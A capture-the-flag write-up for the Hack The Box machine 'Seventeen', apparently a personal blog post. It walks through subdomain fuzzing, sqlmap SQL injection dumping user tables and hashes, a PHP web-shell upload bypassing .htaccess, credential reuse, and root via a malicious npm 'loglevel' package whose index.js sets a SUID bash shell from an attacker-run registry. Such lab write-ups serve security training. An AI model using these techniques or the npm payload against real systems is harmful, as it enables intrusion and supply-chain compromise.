- Published on
HTB Seventeen
- Authors
- Name
- collinhacks
- @collinhacks
Seventeen
Enumeration
nmap
find all ports
nmap -p- -Pn $IP -o full-enumerate.nmap
└─$ nmap -p- -Pn $IP -o full-enumerate.nmap --open 130 ⨯
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 22:36 EDT
Nmap scan report for seventeen.htb (10.10.11.165)
Host is up (0.023s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 7.29 seconds
~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap
cat ports.nmap
nmap
check UDP
sudo nmap -sU --top-ports 1000 -v $IP -o udp.nmap
0
nmap
all identified ports + default scripts & service versions
nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
└─$ nmap -p 22,80,8000 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap 130 ⨯
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 22:37 EDT
Nmap scan report for seventeen.htb (10.10.11.165)
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
| 256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_ 256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-headers:
| Date: Fri, 08 Sep 2023 02:37:56 GMT
| Server: Apache/2.4.29 (Ubuntu)
| Last-Modified: Sun, 10 Apr 2022 05:31:57 GMT
| ETag: "50d1-5dc46256b75a0"
| Accept-Ranges: bytes
| Content-Length: 20689
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_http-title: Let's begin your education with us!
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open http Apache httpd 2.4.38
| http-headers:
| Date: Fri, 08 Sep 2023 02:37:56 GMT
| Server: Apache/2.4.38 (Debian)
| Content-Length: 280
| Connection: close
| Content-Type: text/html; charset=iso-8859-1
|
|_ (Request type: GET)
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.4; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.13 seconds
nmap
vuln scan
nmap -p <1,2,3> --script vuln $IP -o vuln.nmap
Port Enumeration
**Port 80
- username
SEVENTEEN
seventeen.htb
Subdomain enumeration
- enumerating
10.10.11.165
for subdomains returns nothingwfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.11.165 -H "Host: FUZZ.10.10.11.165" --hc 400 --hl 532
- But enumerating
seventeen.htb
for subdomains returns 1 resultwfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://seventeen.htb -H "Host: FUZZ.seventeen.htb" --hc 400 --hl 532
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001013: 200 347 L 991 W 17375 Ch "exam"
- Added
exam.seventeen.htb
to/etc/hosts
New webapp
Searchsploit
searchsploit exam reviewer management system
- Seems like it is vulnerable to SQLi (unauthenticated), and RCE (authenticated)
This payload worked
- Brought it to
sqlmap
sqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id --dbs --level 3 --batch
Enumerate databases & their tables
sqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id --dbs -dump -tables --level 3 --batch
Enumerating
db_sfms
databasesqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id -D db_sfms -T user --dump --level 3 --batch
Database: db_sfms
Table: user
[3 entries]
+---------+---------------+---------------+----------------------------------+------------------+---------------+
| user_id | status | lastname | password | username | firstname |
+---------+---------------+---------------+----------------------------------+------------------+---------------+
| 1 | administrator | Administrator | fc8ec7b43523e186a27f46957818391c | admin | Administrator |
| 2 | Regular | Anthony | b35e311c80075c4916935cbbbd770cef | UndetectableMark | Mark |
| 4 | Regular | Smith | 112dd9d08abf9dcceec8bc6d3e26b138 | Stev1992 | Steven |
+---------+---------------+---------------+----------------------------------+------------------+---------------+
- Can’t crack these fuckers
- Enumerating
erms_db
(prob nothing cuz we already got shit but this is cool)
Database: erms_db
Table: users
[3 entries]
+----+--------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| id | type | avatar | lastname | password | username | firstname | date_added | last_login | date_updated |
+----+--------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| 1 | 1 | ../oldmanagement/files/avatar.png | Admin | fc8ec7b43523e186a27f46957818391c | admin | Adminstrator | 2021-01-20 14:02:37 | NULL | 2022-02-24 22:00:15 |
| 6 | 2 | ../oldmanagement/files/avatar.png | Anthony | 48bb86d036bb993dfdcf7fefdc60cc06 | UndetectableMark | Mark | 2021-09-30 16:34:02 | NULL | 2022-05-10 08:21:39 |
| 7 | 2 | ../oldmanagement/files/avatar.png | Smith | 184fe92824bea12486ae9a56050228ee | Stev1992 | Steven | 2022-02-22 21:05:07 | NULL | 2022-02-24 22:00:24 |
+----+--------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
- Ok so same hashes and usernames, but the avatar is in a directory called
/oldmanagement/files/avatar.png
- This could either be a directory or a subdomain.
- It’s leaving its current directory, and then going into
oldmanagement
, so likely it’s a subdomain. Add to/etc/hosts
.Note from the future: ippsec describes this well in his video
Another note from the future: he was right
Onto Foothold
Exploitation
**********Port 8000
Foothold
oldmanagement.seventeen.htb
- http://oldmanagement.seventeen.htb redirectes to http://oldmanagement.seventeen.htb:8000/oldmanagement/
- We need a user id so I think it is the
id
in the enumerated databases, but indb_sfms
we can enumerate thestudent
fieldsqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id -D db_sfms -T student --dump --level 3 --batch
Database: db_sfms
Table: student
[4 entries]
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| stud_id | yr | gender | stud_no | lastname | password | firstname |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| 1 | 1A | Male | 12345 | Smith | 1a40620f9a4ed6cb8d81a1d365559233 | John |
| 2 | 2B | Male | 23347 | Mille | abb635c915b0cc296e071e8d76e9060c | James |
| 3 | 2C | Female | 31234 | Shane | a2afa567b1efdb42d8966353337d9024 (autodestruction) | Kelly |
| 4 | 3C | Female | 43347 | Hales | a1428092eb55781de5eb4fd5e2ceb835 | Jamie |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
- We see
stud_no
and theMD5
hashes we can’t crack again, BUT there is a new one. stud_no
lastnameShane
MD5 hash is cracked fromsqlmap
asautodestruction
- Login as
31234
:autodestruction
- Let’s enumerate
db_sfms
's last tablestorage
sqlmap -u "http://exam.seventeen.htb/?p=take_exam&id=1" -p id -D db_sfms -T storage --dump --level 3 --batch
Database: db_sfms
Table: storage
[1 entry]
+----------+---------+----------------------+-----------------+----------------------+
| store_id | stud_no | filename | file_type | date_uploaded |
+----------+---------+----------------------+-----------------+----------------------+
| 33 | 31234 | Marksheet-finals.pdf | application/pdf | 2020-01-26, 06:57 PM |
+----------+---------+----------------------+-----------------+----------------------+
time to get a shell
- Downloaded the
pdf
right away
- Added to
/etc/hosts
- Back to uploaded stuff
- So when we try to download something, it shows that it is calling a storeid (I got this from hovering a download button, this is for the pdf)
Authenticated file fuzz
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --hc 404 -d "PHPSESSID=5e737e7870bd3e35aba93337ad8fb554" "http://oldmanagement.seventeen.htb:8000/oldmanagement/FUZZ"
- We see
/files
exists
- Now if we think logically, I authenticated as
31234
. And to download the.pdf
, it calls thestore_id
33. If I try to go to/files/31234/
I get a Forbidden, which means it exists.
- We can also actually visit the
.pdf
from here too- http://oldmanagement.seventeen.htb:8000/oldmanagement/files/31234/Marksheet-finals.pdf
- Which probably means we can see a
cmd.php
in this same directory if I upload it
Bypassing .htaccess in apache → RCE
- Upload
cmd.php
and send it to Repeater
- Change
filename="cmd.php"
tofilename=".htaccess"
- Delete
cmd.php
contents
This creates a .htaccess file making it so that whatever is in the current directory can be accessed by anyone.
Shell time
- Add bash shell to
cmd=
, but in a Burpsuite Request. Make sure to have it asPOST
, and add the headerContent-Type: application/x-www-form-urlencoded
9001
Root
There is no
user.txt
here so I’m going to assume that we get credentials from this low-privilege box and then pivot tossh
or something
linpeas
/var/www/html/employeemanagementsystem
cat readme.txt
cat mark.php
cat process/dbh.php
Pivot/Auth as mark
We got
mark
fromlinpeas
, and this password fromdbh.php
ssh mark@10.10.11.165
2020bestyearofmylife
linpeas
polkit is installed so I think if we wanted to
pwnkit
we could/home/kavi
?
/var/mail/kavi
- This message is saying that they are now using
loglevel
, which is an npm package. To find this thing running we usenetstat
to list all services listening onlocalhost
netstat
netstat -tlnp 127.0.0.1 | grep 127.0.0.1
-t
show TCP ports-l
show only listening sockets, which are sockets “listening” for an incoming connection-n
shows numerical addresses instead of resolving hostnames-p
shows the process id for each socket as well as the IP of each (so 127… instead of localhost)
Here, the outlier is
40735
and4873
. The rest are ports we already know, like 110 is POP3, 143 is IMAP, 6000-6009 is X11 for virtual hosts, etc.
curl 127.0.0.1:4873
Seems to be a web server of some sort
Local hosted web server
- First port forward it to something like
9002
so we can see the web app- Local:
ssh -L 9002:127.0.0.1:4873 mark@10.10.11.165
- This puts the open port of
4873
on the box to my localhost:9002
- This puts the open port of
- Local:
Nothin here
- First enumerate it with
npm
to search for any packages on the local registry that are related to logging, since that is what the email was talking about.npm search log --registry=http://127.0.0.1:4873
- We got the name
db-logger
and it’s a database so most likely we will get creds in it, let’s install itnpm install db-logger --registry=http://127.0.0.1:4873
- We now have a directory called
~/node_modules
- Enumerated it, found
~/nodemodules/db-logger
which hadlogger.js
in it, with credentials!
- Enumerated it, found
root
:IhateMathematics123#
Weirdly enough as well it randomly deleted
/nodemodules/
after like a minute, idk
- We can try
ssh
'ing toroot
andkavi
with thiskavi
:IhateMathematics123#
worked
Kavi → Root
sudo -l
- Give it the password
IhateMathematics123#
- Give it the password
startup.sh:
#!/bin/bash
cd /opt/app
deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do
/bin/echo "[=] Checking for $dep"
o=$(/usr/bin/npm -l ls|/bin/grep $dep)
if [[ "$o" != *"$dep"* ]]; then
/bin/echo "[+] Installing $dep"
/usr/bin/npm install $dep --silent
/bin/chown root:root node_modules -R
else
/bin/echo "[+] $dep already installed"
fi
done
/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js
This script is ensuring that
db-logger
andloglevel
is installed and then starting the application. Then at the end it is callingnode
to/opt/app/index.js
. Since we cansudo
it, most likely we break it to get a shell.
npm exploit
cat /opt/app/index.js
const http = require('http')
const port = 8000
const fs = require('fs')
//var logger = require('db-logger')
var logger = require('loglevel')
const server = http.createServer(function(req, res) {
res.writeHead(200, {'Content-Type': 'text/html'})
fs.readFile('index.html', function(error, data){
if (error) {
res.writeHead(404)
res.write('Error: File Not Found')
logger.debug(`INFO: Reuqest from ${req.connection.remoteAddress} to /`)
} else {
res.write(data)
}
res.end()
})
})
server.listen(port, function(error) {
if (error) {
logger.warn(`ERROR: Error occured while starting the server : ${e}`)
} else {
logger.log("INFO: Server running on port " + port)
}
})
Here
db-logger
andloglevel
are marked asrequire
's but onlyloglevel
is active cuzdb-logger
is commented. So we could create a maliciousloglevel
package and configure it and then replace it here somehow, to point it to our locally hosted registry and then execute the script as root.
It is worth noting as well that we are on Ubuntu
18.04
, which is before the update on19.10
that patched a version ofsudo
that preserves the$HOME
variable by default. So ifnpm
is running as root, the$HOME
variable aftersudo
calls to/home/kavi
, which is where we have perms.
- Locally install npm/docker for
verdaccio
sudo apt install docker
docker pull verdaccio/verdaccio
sudo docker run -it --rm --name verdaccio -p 4873:4873 -e 'VERDACCIO_PUBLIC_URL=http://10.10.16.3:4873' verdaccio/verdaccio
- Start our docker on port
4873
so it is identical to our target’s, and we pull the imageverdaccio
that we just installed as well -e '...'
is very important because this should allownpm
to see where we are pointing the web application so we can create a user.
- Start our docker on port
- Visit
0.0.0.0:4873
and it works
mkdir loglevel
cd loglevel
npm init
(this will createpackage.json
)package name:
loglevel
version:
1.8.1
This is important because it just has to be greater than what’s on the target for it to overwrite and work. On the target machine it’s
1.8.0
so we made this1.8.1
entry point:
index.js
Getting a shell from making a /tmp/shell
Now we need to make a malicious
.js
file, I think eitherlogger.js
orindex.js
nano index.js
require("child_process").exec("chown root:root /tmp/shell;chmod 4755 /tmp/shell")
Target:
cp /bin/bash /tmp/shell
Local:
npm adduser --registry http://10.10.16.3:4873/ --auth-type=legacy
--auth-type=legacy
is needed and if you don’t specify this,npm
@version 9 or higher won’t work. Was stuck on this for longer than I would like to admit.npm publish --registry http://10.10.16.3:4873
Target:
nano .npmrc
registry=http://10.10.16.3:4873/
sudo /opt/app/startup.sh
ls -la /tmp/shell
should be root owned now
/tmp/shell -p
If we don’t specifiy
-p
we won’t get root,-p
gives Bashprivileged mode
.
Useful resource links
Lessons Learned
- learned a lot with
npm
was a pain in the ass for fucking sure but learned something nonetheless, box took a few days - learned more about the output of
netstat
- shoveled in the fact on that with HTB, whenever I find a new
subdomain.tld
I need to fully enumerate it, if the vulnerability or point of interest is not immediately present